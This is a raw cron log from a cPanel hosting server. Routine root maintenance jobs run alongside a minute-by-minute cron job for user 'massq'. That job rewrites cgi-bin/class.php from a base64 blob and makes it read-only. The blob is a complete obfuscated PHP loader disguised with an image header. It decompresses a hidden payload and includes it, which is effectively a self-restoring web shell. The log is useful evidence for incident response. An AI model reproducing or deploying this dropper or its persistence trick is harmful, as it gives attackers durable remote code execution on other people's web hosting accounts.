Sep 10 07:22:01 server CROND[13137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:22:01 server CROND[13138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:22:01 server CROND[13139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:23:01 server CROND[13518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:23:01 server CROND[13519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:23:01 server CROND[13520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:24:01 server CROND[13995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:24:01 server CROND[13996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:24:01 server CROND[13997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:25:01 server CROND[14386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:25:01 server CROND[14392]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:25:01 server CROND[14395]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:25:01 server CROND[14394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:25:01 server CROND[14393]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 07:25:01 server CROND[14396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:25:01 server CROND[14401]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 07:26:01 server CROND[15206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:26:01 server CROND[15207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:26:01 server CROND[15208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:27:01 server CROND[15585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:27:01 server CROND[15586]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 07:27:01 server CROND[15587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:27:01 server CROND[15588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:28:01 server CROND[15969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:28:01 server CROND[15970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:28:01 server CROND[15971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:29:01 server CROND[16466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:29:01 server CROND[16468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:29:01 server CROND[16467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:30:01 server CROND[16850]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 07:30:01 server CROND[16851]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 07:30:01 server CROND[16855]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:30:01 server CROND[16859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:30:01 server CROND[16860]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 07:30:01 server CROND[16863]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:30:01 server CROND[16862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:30:01 server CROND[16861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:31:01 server CROND[17683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:31:01 server CROND[17682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:31:01 server CROND[17684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:32:01 server CROND[18074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:32:01 server CROND[18075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:32:01 server CROND[18076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:33:01 server CROND[18453]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 07:33:01 server CROND[18454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:33:01 server CROND[18455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:34:01 server CROND[19090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
